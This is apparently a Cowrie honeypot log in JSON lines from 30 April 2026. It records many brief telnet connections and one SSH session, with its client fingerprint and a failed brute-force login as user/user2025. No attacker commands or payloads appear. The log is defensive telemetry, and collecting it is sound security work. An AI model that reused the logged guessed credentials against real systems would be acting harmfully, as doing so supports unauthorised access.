{"eventid":"cowrie.session.connect","src_ip":"161.35.204.143","src_port":54868,"dst_ip":"10.17.0.5","dst_port":23,"session":"0b48319a929f","protocol":"telnet","message":"New connection: 161.35.204.143:54868 (10.17.0.5:23) [session: 0b48319a929f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:11.360109Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.4.101.60","src_port":39204,"dst_ip":"10.17.0.5","dst_port":23,"session":"05a665ef43cb","protocol":"telnet","message":"New connection: 152.4.101.60:39204 (10.17.0.5:23) [session: 05a665ef43cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:11.802609Z"}
{"eventid":"cowrie.session.closed","duration":30.952588081359863,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:12.030205Z","src_ip":"15.204.172.25","session":"18f64ba8ac57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.02520990371704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:12.054288Z","src_ip":"199.250.223.224","session":"97c5b451547a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.806286334991455,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:12.108878Z","src_ip":"185.29.9.236","session":"cb285e1bdd29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.996187448501587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:12.599430Z","src_ip":"159.65.156.231","session":"c3e50edf9974","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.79.133.145","src_port":33142,"dst_ip":"10.17.0.5","dst_port":23,"session":"1717d618aa10","protocol":"telnet","message":"New connection: 144.79.133.145:33142 (10.17.0.5:23) [session: 1717d618aa10]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:12.774556Z"}
{"eventid":"cowrie.session.closed","duration":30.268401861190796,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:13.043335Z","src_ip":"146.71.83.154","session":"4f0d089e71b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.46275234222412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:13.069894Z","src_ip":"199.250.223.224","session":"1526850cbb1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.985724210739136,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:13.264881Z","src_ip":"185.29.9.236","session":"6d6ca3e77b48","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999778509140015,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:14.022757Z","src_ip":"144.126.156.251","session":"3dc315c7f83f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95202922821045,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:14.052807Z","src_ip":"66.223.49.88","session":"a754ae16bc9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922667264938354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:14.087301Z","src_ip":"199.250.223.224","session":"b51c0d9ace48","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":43550,"dst_ip":"10.17.0.5","dst_port":23,"session":"f197708f0110","protocol":"telnet","message":"New connection: 66.223.49.88:43550 (10.17.0.5:23) [session: f197708f0110]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:14.123660Z"}
{"eventid":"cowrie.session.closed","duration":30.737950086593628,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:14.129959Z","src_ip":"46.21.104.13","session":"232f26c8aa72","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.074908018112183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:14.318941Z","src_ip":"146.71.83.154","session":"6c0cb5a50889","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20003342628479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:14.368073Z","src_ip":"199.250.223.224","session":"93a15741e964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":39980,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b2fe16abd5d","protocol":"telnet","message":"New connection: 116.202.39.209:39980 (10.17.0.5:23) [session: 7b2fe16abd5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:14.714023Z"}
{"eventid":"cowrie.session.closed","duration":30.858988285064697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.064096Z","src_ip":"66.223.49.88","session":"1f3cd1152ab6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.869170665740967,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.069208Z","src_ip":"161.35.204.143","session":"f4e7db24e5a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.861011743545532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.074356Z","src_ip":"144.126.156.251","session":"2798d2f12efc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.126.156.251","src_port":60104,"dst_ip":"10.17.0.5","dst_port":23,"session":"36230b1b13b0","protocol":"telnet","message":"New connection: 144.126.156.251:60104 (10.17.0.5:23) [session: 36230b1b13b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.082147Z"}
{"eventid":"cowrie.session.closed","duration":30.80932593345642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.118030Z","src_ip":"69.175.86.26","session":"556006a4fe67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.160.206.186","src_port":50552,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae089d0ef29b","protocol":"ssh","message":"New connection: 43.160.206.186:50552 (159.203.135.109:22) [session: ae089d0ef29b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.122679Z"}
{"eventid":"cowrie.session.closed","duration":30.5099618434906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.128925Z","src_ip":"159.65.156.231","session":"1d0b8e6104b5","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.134012Z","src_ip":"43.160.206.186","session":"ae089d0ef29b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":43554,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4f99d313ed5","protocol":"telnet","message":"New connection: 66.223.49.88:43554 (10.17.0.5:23) [session: e4f99d313ed5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.140744Z"}
{"eventid":"cowrie.session.closed","duration":30.918986558914185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.161216Z","src_ip":"216.55.143.160","session":"d7412267c4d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.987241983413696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.171370Z","src_ip":"146.71.83.154","session":"31f3179fcbb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.023386478424072,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.243779Z","src_ip":"146.71.83.154","session":"4dda36759502","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"134.195.101.206","src_port":59842,"dst_ip":"10.17.0.5","dst_port":23,"session":"bae19f17fbea","protocol":"telnet","message":"New connection: 134.195.101.206:59842 (10.17.0.5:23) [session: bae19f17fbea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.258509Z"}
{"eventid":"cowrie.session.connect","src_ip":"74.115.209.253","src_port":50702,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc0d1482c52f","protocol":"telnet","message":"New connection: 74.115.209.253:50702 (10.17.0.5:23) [session: dc0d1482c52f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.266521Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.371871Z","src_ip":"43.160.206.186","session":"ae089d0ef29b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":39984,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f4947ef8718","protocol":"telnet","message":"New connection: 116.202.39.209:39984 (10.17.0.5:23) [session: 8f4947ef8718]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:15.782935Z"}
{"eventid":"cowrie.session.closed","duration":30.85568118095398,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:16.032904Z","src_ip":"64.150.184.17","session":"e4278302aa5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.906182050704956,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:16.182148Z","src_ip":"216.55.143.160","session":"a6fe2c26fd74","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"user2025","message":"login attempt [user/user2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:16.353080Z","src_ip":"43.160.206.186","session":"ae089d0ef29b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.29199743270874,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:16.718107Z","src_ip":"146.71.83.154","session":"f550af238c32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.85076403617859,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:17.048615Z","src_ip":"146.71.83.154","session":"0474da517986","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.197911262512207,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:17.091251Z","src_ip":"146.71.83.154","session":"b855173fa398","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.841141939163208,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:17.184548Z","src_ip":"216.55.143.160","session":"976e3b8060e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":60906,"dst_ip":"10.17.0.5","dst_port":23,"session":"f5ae0de43f80","protocol":"telnet","message":"New connection: 216.55.143.160:60906 (10.17.0.5:23) [session: f5ae0de43f80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:17.197729Z"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:17.597613Z","src_ip":"43.160.206.186","session":"ae089d0ef29b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":39996,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a4d43582b3a","protocol":"telnet","message":"New connection: 116.202.39.209:39996 (10.17.0.5:23) [session: 2a4d43582b3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:17.719223Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.172.25","src_port":41494,"dst_ip":"10.17.0.5","dst_port":23,"session":"53bda10df560","protocol":"telnet","message":"New connection: 15.204.172.25:41494 (10.17.0.5:23) [session: 53bda10df560]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:18.057379Z"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":56010,"dst_ip":"10.17.0.5","dst_port":23,"session":"6eb7ac28c9a1","protocol":"telnet","message":"New connection: 146.71.83.154:56010 (10.17.0.5:23) [session: 6eb7ac28c9a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:18.231016Z"}
{"eventid":"cowrie.session.connect","src_ip":"66.223.49.88","src_port":43570,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ffd6c5ae222","protocol":"telnet","message":"New connection: 66.223.49.88:43570 (10.17.0.5:23) [session: 8ffd6c5ae222]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:18.977098Z"}
{"eventid":"cowrie.session.closed","duration":30.821536540985107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:19.098325Z","src_ip":"185.29.9.236","session":"7d87c89f6b65","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.150.184.17","src_port":51032,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e059108333c","protocol":"telnet","message":"New connection: 64.150.184.17:51032 (10.17.0.5:23) [session: 4e059108333c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:19.284849Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.246.154.4","src_port":39740,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cc90af3c5cf","protocol":"telnet","message":"New connection: 35.246.154.4:39740 (10.17.0.5:23) [session: 6cc90af3c5cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:19.421052Z"}
{"eventid":"cowrie.session.closed","duration":30.470213413238525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:20.124532Z","src_ip":"139.59.20.17","session":"2f403e847290","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.150.184.17","src_port":51232,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca37160b2d90","protocol":"telnet","message":"New connection: 64.150.184.17:51232 (10.17.0.5:23) [session: ca37160b2d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:20.158123Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.55.143.160","src_port":33550,"dst_ip":"10.17.0.5","dst_port":23,"session":"46b17a50ca42","protocol":"telnet","message":"New connection: 216.55.143.160:33550 (10.17.0.5:23) [session: 46b17a50ca42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:20.305142Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.21.104.13","src_port":51228,"dst_ip":"10.17.0.5","dst_port":23,"session":"06b42f7f1dce","protocol":"telnet","message":"New connection: 46.21.104.13:51228 (10.17.0.5:23) [session: 06b42f7f1dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:20.309023Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.156.231","src_port":44636,"dst_ip":"10.17.0.5","dst_port":23,"session":"906b5f3820f6","protocol":"telnet","message":"New connection: 159.65.156.231:44636 (10.17.0.5:23) [session: 906b5f3820f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:20.483397Z"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.172.25","src_port":41898,"dst_ip":"10.17.0.5","dst_port":23,"session":"26f296aafd7e","protocol":"telnet","message":"New connection: 15.204.172.25:41898 (10.17.0.5:23) [session: 26f296aafd7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:20.581025Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":53914,"dst_ip":"10.17.0.5","dst_port":23,"session":"88cb528f9ea1","protocol":"telnet","message":"New connection: 116.202.39.209:53914 (10.17.0.5:23) [session: 88cb528f9ea1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:20.746389Z"}
{"eventid":"cowrie.session.closed","duration":30.8867506980896,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:21.084700Z","src_ip":"51.222.46.37","session":"a3b473afa0dd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.175.86.26","src_port":43268,"dst_ip":"10.17.0.5","dst_port":23,"session":"d526851990ef","protocol":"telnet","message":"New connection: 69.175.86.26:43268 (10.17.0.5:23) [session: d526851990ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:21.215852Z"}
{"eventid":"cowrie.session.connect","src_ip":"116.202.39.209","src_port":53926,"dst_ip":"10.17.0.5","dst_port":23,"session":"31ad39f42073","protocol":"telnet","message":"New connection: 116.202.39.209:53926 (10.17.0.5:23) [session: 31ad39f42073]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:21.719141Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.126.156.251","src_port":32854,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c7d3f4ca9f0","protocol":"telnet","message":"New connection: 144.126.156.251:32854 (10.17.0.5:23) [session: 1c7d3f4ca9f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:22.172124Z"}
{"eventid":"cowrie.session.closed","duration":30.73447299003601,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:22.287933Z","src_ip":"185.29.9.236","session":"46396a6f84b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20981526374817,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:22.293378Z","src_ip":"46.21.104.13","session":"1be1aa392536","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.355448484420776,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:23.049562Z","src_ip":"161.35.204.143","session":"2653079bf94b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.220619440078735,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:23.114073Z","src_ip":"146.71.83.154","session":"cb655683fe9e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.116.235.126","src_port":37660,"dst_ip":"10.17.0.5","dst_port":23,"session":"60c122b58497","protocol":"telnet","message":"New connection: 66.116.235.126:37660 (10.17.0.5:23) [session: 60c122b58497]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:23.549862Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.250.223.224","src_port":33857,"dst_ip":"10.17.0.5","dst_port":23,"session":"da13ad7d62aa","protocol":"telnet","message":"New connection: 199.250.223.224:33857 (10.17.0.5:23) [session: da13ad7d62aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:23.751715Z"}
{"eventid":"cowrie.session.closed","duration":30.845072507858276,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:24.041334Z","src_ip":"146.71.83.154","session":"aa6a3eb38aba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05326271057129,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:24.072713Z","src_ip":"199.250.223.224","session":"fa710cc29b37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.73576545715332,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:24.076896Z","src_ip":"161.35.204.143","session":"200421ac4618","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.03435778617859,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:24.091916Z","src_ip":"51.222.46.37","session":"a33821547f9e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.947758674621582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:24.167589Z","src_ip":"74.115.209.253","session":"07b4740ed7ad","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.29.9.236","src_port":53384,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0e4edacf834","protocol":"telnet","message":"New connection: 185.29.9.236:53384 (10.17.0.5:23) [session: a0e4edacf834]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:24.242212Z"}
{"eventid":"cowrie.session.closed","duration":31.47465753555298,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:24.622310Z","src_ip":"15.204.172.25","session":"07131aa21417","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.72364592552185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:25.072573Z","src_ip":"185.29.9.236","session":"e17e23216c80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.934305429458618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:25.271924Z","src_ip":"185.29.9.236","session":"08a68162cf36","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"146.71.83.154","src_port":56022,"dst_ip":"10.17.0.5","dst_port":23,"session":"521feaa453a4","protocol":"telnet","message":"New connection: 146.71.83.154:56022 (10.17.0.5:23) [session: 521feaa453a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:25.401901Z"}
{"eventid":"cowrie.session.closed","duration":30.99001145362854,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:26.065023Z","src_ip":"69.175.86.26","session":"43dd68112c47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.63238215446472,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T12:11:26.096085Z","src_ip":"146.71.83.154","session":"4c9442c46f8e","protocol":"telnet"}
